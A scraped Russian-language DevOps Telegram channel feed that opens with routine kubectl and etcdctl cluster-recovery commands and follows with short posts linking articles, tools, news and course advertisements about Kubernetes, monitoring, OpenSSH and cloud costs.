kubectl get componentstatuses Проверить здоровье ключевых компонентов кластера, таких как etcd и kube-apiserver.

kubectl top nodes Мониторить использование ресурсов нод, чтобы выявить проблемы с исчерпанием ресурсов.

kubectl top pods --all-namespaces Проверить использование ресурсов подов во всех неймспейсах для выявления узких мест.

kubectl delete node node_name Удалить неработающую ноду из кластера для восстановления.

etcdctl --endpoints=https://etcd-server:2379 snapshot restore backup.db Восстановить etcd из снимка в случае сбоя.

kubectl apply -f backup.yaml Применить конфигурации из резервной копии во время восстановления.

kubectl taint nodes node_name key=value Запретить планирование подов на ноду, которая имеет проблемы, в процессе восстановления.

kubectl get endpoints service_name Проверить конечные точки сервиса, чтобы убедиться в их корректной работе во время восстановления.

😛 #партнёрский_пост

Пятничный деплой

26 Oct, 14:09


Build an Interactive OpenStack Compute Node Monitoring System with Prometheus, Grafana, and Telegram Bot for Real-Time and On-Demand Queries

В этой статье рассматривается, как создать интерактивную систему мониторинга узлов OpenStack с проволокой и куском изоленты Prometheus, Grafana и ботом Telegram для запроса статистики в реальном времени по требованию. В результате у вас будет решение для мониторинга, которое предоставляет информацию в реальном времени и мгновенные настраиваемые ооповещения в Telegram. Читать статью.

❗️Статья на medium.com

Пятничный деплой

25 Oct, 17:15


В конце октября 2024 года вышел 31-й выпуск технологического радара от компании ThoughtWorks. Мы внимательно изучили новый выпуск и подготовили краткий обзор. Напомним, что технологический радар выходит 2 раза в год на протяжении уже 15 лет, за это время на радаре появилось больше 1600 практик, платформ, фреймворков и инструментов. В подготовке радара участвуют такие эксперты, как Martin Fowler, Neal Ford, James Lewis, Rebecca Parsons и другие.

Отчет начинается с четырех инсайтов в индустрии на конец 2024 года:
1. Появление антипаттернов применения AI инструментов к процессам разработки;
2. Появление новых инструментов и рост интереса к языку Rust;
3. Распространение открытого стандарта WebAssembly (WASM);
4. Бум инструментов генеративного AI.

В новом выпуске на радаре упоминаются 23 практики, 17 платформ и более 60 инструментов, проектов и фреймворков. Что интересного мы отметили:
1. Упоминание практики Continuous Deployment. Последний раз практика появлялась на радаре в далеком 2011 году и новое упоминание связано с выходом одноименной книги Continuous Deployment от Valentina Servile (эксперта ThoughtWorks);
2. Появление нового подхода Observability 2.0 и разработка инструментов следующего поколения , подробнее в Whitepaper и выпуске подкаста Last Week in AWS с Charity Majors;
3. Развитие инструментов для локальной разработки и Dev окружений:
- Графический Git клиент GitButler, упрощающий работу с ветками;
- Консольная утилита DevBox для создания Dev окружений;
- Консольная утилита Difftastic для поиска различий в коде;
- Современный терминал Warp для macOS и Linux, написанный на Rust;
- Инструмент для MacOS для локального контроля сборок CCMenu;
4. Развитие практик, плафторм и инструментов, связанных с CI/CD:
- Практика 1% канареечного релиза;
- Continuous Delivery платформа Spinnaker;
- Платформа управления Feature флагами Unleash;
- Сервис Unblocked для поиска информации и улучшения навигации во внутренних системах и платформах;
- Проект и спецификация Score для стандартизации описания конфигураций платформ и окружений, проект активно развивается и недавно был принят в CNCF Sandbox;
- Практика Component testing и инструмент для автоматизации запуска интеграционных тестов Testcontainers;
5. Инструменты для Kubernetes:
- Консольная утилита K9s для управления кластерами;
- Дистрибутив Elastisys Compliant Kubernetes, который теперь называется Welkin;
6. Проект и фреймворк SST для развертывания приложений в облаках, более ориентированный на разработчиков;
7. Проект и спецификацию Passkeys для аутентификации от FIDO Alliance;
8. Практики и инструменты для Data Engineering и MLOps: Kedro, ReadySet, FoundationDB, ClickHouse, применение GraphQL для Data продуктов;
9. Инструменты на Rust: Mise, Iggy, Pingora, uv, Zed, Rspack, Slint;
10. Практики и инструменты для AI и LLM: RAG, Fine-tuning embedding models, Function calling, LLM as a judge, Small language models (SLMs), Synthetic data for testing and training models, Using GenAI to understand legacy codebases, AI team assistants, Dynamic few-shot prompting, LLM-powered autonomous agents, On-device LLM inference, Structured output from LLMs, FastChat, Langfuse, Qdrant, ColPali, Cursor, Instructor, LiteLLM, LLM Guardrails, Microsoft Autogen, Pingora и др.

Подробнее про практики, платформы и инструменты читайте в новом 31-м выпуске технологического радара от ThoughtWorks.

Пятничный деплой

25 Oct, 09:01


Слёрм, конечно, не Хогвартс, но магия здесь тоже бывает

В преддверии Хеллоуина мы применили нашу магию к сайту и добавили функцию предсказания будущего. Встречайте наш Таро-расклад. Инструкция по применению тут — пробуйте!

А если удача будет на вашей стороне, ещё и заберёте подарки: промокод на скидку, бесплатный курс или все сразу.

Льём свет на будущее и дарим подарки ЗДЕСЬ 🎃

Единственное, стоит поторопиться — карты Таро потеряют свои магические свойства в полночь с 31 октября на 1 ноября.

Реклама ООО «Слёрм» ИНН 3652901451

Пятничный деплой

24 Oct, 14:27


Какая прелесть! https://learn.umh.app/course/aws-and-azure-are-at-least-4x-10x-more-expensive-than-hetzner/

Пятничный деплой

24 Oct, 08:26


DHH посчитал, что сэкономит более $10 млн, уйдя из облаков

David Heinemeier Hansson (hey.com, а также BaseCamp, Ruby-on-Rails, Rework, Remote, как говорится, to name a few) на днях поделился выкладками по экономии от перехода из клаудов в онпрем. Чтобы не читать восемь абзацов, вот вам сухие цифры в одном: потратили $700,000 на железо (Dell), облачный кост снизили с $3.2 million/year до $1.3 million. Оставшееся - 10 петабайт в S3 на Амазоне, на 4-х летнем котракте; за сумму равной годовому чеку, они закупят ещё железа, и уедут из облаков совсем. Сравнение, конечно, не совсем корректное, но в тренде! Так что следим и учимся системному дизайну и планированию мощностей, чтобы уметь в self managed или хотя бы считать и оптимизировать облачный кост 🙂

https://world.hey.com/dhh/our-cloud-exit-savings-will-now-top-ten-million-over-five-years-c7d9b5bd

Пятничный деплой

23 Oct, 08:36


Практический туториал по написанию предохранителя на #golang

https://rednafi.com/go/circuit_breaker/

Кстати, такие полезные алгоритмы хорошо описаны в книге “Облачный GO” https://2my.site/hTEh0wQ

Пятничный деплой

22 Oct, 10:44


24.10 в 19:00 состоится созвон сообщества в Zoom 💬
Гость выпуска: Анатолий Карпенко (@tech_b0lt_Genona)
Тема: в предверии классного воркшопа Толи по правильной и безопасной готовке контейнеров пообщаемся про них

Подключаться по ссылке
Добавляй к себе календарь мероприятий, что бы не пропустить события сообщества ссыль

Разыскиваются спикеры 👀, если заинтересован, пиши @aleksey0xffd
Тематика не обязательно безопасность

👀@ever_secure

Пятничный деплой

20 Oct, 17:59


🛠 Upgrading Uber’s MySQL Fleet to version 8.0 - о том, как Uber обновлял свой MySQL с версии 5.7 до 8.0...

https://www.uber.com/en-JO/blog/upgrading-ubers-mysql-fleet/

#mysql #напочитать

Пятничный деплой

20 Oct, 16:05


А в sshd, тем временем, продолжается сплит. Аутентификация отъехала в отдельный бинарь, так что изоляция, безопасность, мир, труд, май.

https://linuxiac.com/openssh-unveils-new-authentication-binary/

Пятничный деплой

19 Oct, 20:08


⚒️ go-pretty — Go-инструмент для улучшения отображения таблиц, списков, индикаторов выполнения, текста и т. д. в CLI-приложениях. Главная фича — упор на кастомизацию.

👉 GitHub

Пятничный деплой

19 Oct, 18:33


В Ubuntu придумали интересное, но явно рискованное. Говорят, что теперь будут использовать в сборках самую свежую версию ядра на момент фриза. Даже (!) если апстрим находится в статусе RC.
Так что перед тем как обновиться, теперь надо будет не свечку зажигать, а целый алтарь возводить.
https://discourse.ubuntu.com/t/kernel-version-selection-for-ubuntu-releases/47007

Пятничный деплой

19 Oct, 05:42


Structural Pattern Matching in Python
https://ift.tt/bWh89Mu

In this tutorial, you'll learn how to harness the power of structural pattern matching in Python. You'll explore the new syntax, delve into various pattern types, and find appropriate applications for pattern matching, all while identifying common pitfalls.

Пятничный деплой

17 Oct, 11:00


В OpenSSH код аутентификации вынесен в отдельный процесс sshd-auth.

Это решение изолирует связанные с аутентификацией данные в отдельном адресном пространстве, обеспечивая дополнительную безопасность системы. А после завершения процесса sshd-auth такие данные выгружаются, что приводит к небольшому сокращению использования памяти.

Подробнее — на OpenNET.

Пятничный деплой

17 Oct, 08:39


Kubernetes Guru

Очень интересный сервис: выдает достаточно точные ответы с примерами на вопросы про Kubernetes с помощью AI.

Этот сервис работает на основе подхода RAG и по результатам тестирования иногда дает более точные ответы, чем другие популярные AI, например ChatGPT.

Подробнее -- https://medium.com/@PlanB./kubernetes-guru-a-new-ai-tool-for-mastering-k8s-challenges-69bab4e57c84

Пятничный деплой

16 Oct, 11:44


Headlamp
A Kubernetes web UI that is fully-featured, user-friendly and extensible
#kubernetes #debugging #devops #dashboard #kubernetes-ui
https://github.com/headlamp-k8s/headlamp

Пятничный деплой

16 Oct, 08:02


🔩 pwru - а вот эта удобная штуковина с помощью eBPF позволяет понять что происходит с сетевыми пакетами в системе...

https://github.com/cilium/pwru

#network #ebpf #trace

Пятничный деплой

16 Oct, 08:01


Знаю, что многие тут хотят уйти в DevOps. Но не знают где взять информацию и четкий план.

💪 Советую бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования в удобном формате.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.

📌 Ну а тем, кто хочет двигаться под руководством наставника - индивидуальная программа.

Пятничный деплой

16 Oct, 08:01


Знаю, что многие тут хотят уйти в DevOps. Но не знают где взять информацию и четкий план.

💪 Советую бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования в удобном формате.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.

📌 Ну а тем, кто хочет двигаться под руководством наставника - индивидуальная программа.

Пятничный деплой

16 Oct, 07:33


Self-Hosting a Container Registry

После блокировки доступа к Docker Hub из России, такие статьи должны быть все более популярными. Собственный репозиторий уже не роскошь, а вынужденная необходимость. В этой статье разобрано построение собственного репозитория с контейнерами. Читать статью.

❗️Статья на medium.com

Пятничный деплой

16 Oct, 07:20


Inside PromQL: A closer look at the mechanics of a Prometheus query

В этой автор предлагает заглянуть под капот Prometheus и лучше понять, как данные передаются от источника к конечному пункту назначения в API. Автор также прикладывает ссылку на свое выступление и слайды с PromCon 2024. Читать статью.

Пятничный деплой

15 Oct, 18:28


RBAC Wizard – небольшая тулза, которая поможет с визуализацией и анализом текущей RBAC конфигурации в вашем Kubernetes кластере. Тут важно подчеркнуть, что доступны только визуализация и отображение связей между RBAC сущностями.

Пятничный деплой

15 Oct, 18:27


pgbackweb

Утилита для управления бэкапами PostgreSQL с графическим интерфейсом.

Репыч на Гитхабе

Пятничный деплой

15 Oct, 18:24


Kubernetes Configuration in 2024

https://itnext.io/kubernetes-configuration-in-2024-434abc7a5a1b

Пятничный деплой

15 Oct, 15:15


Как снизить расходы на мониторинг: более разумный подход к данным

В этой статье вы узнаете о лучших способах хранения и обработки метрик мониторинга для снижения расходов на хранение и о том, как VictoriaMetrics может в этом помочь. Читать перевод на Хабре.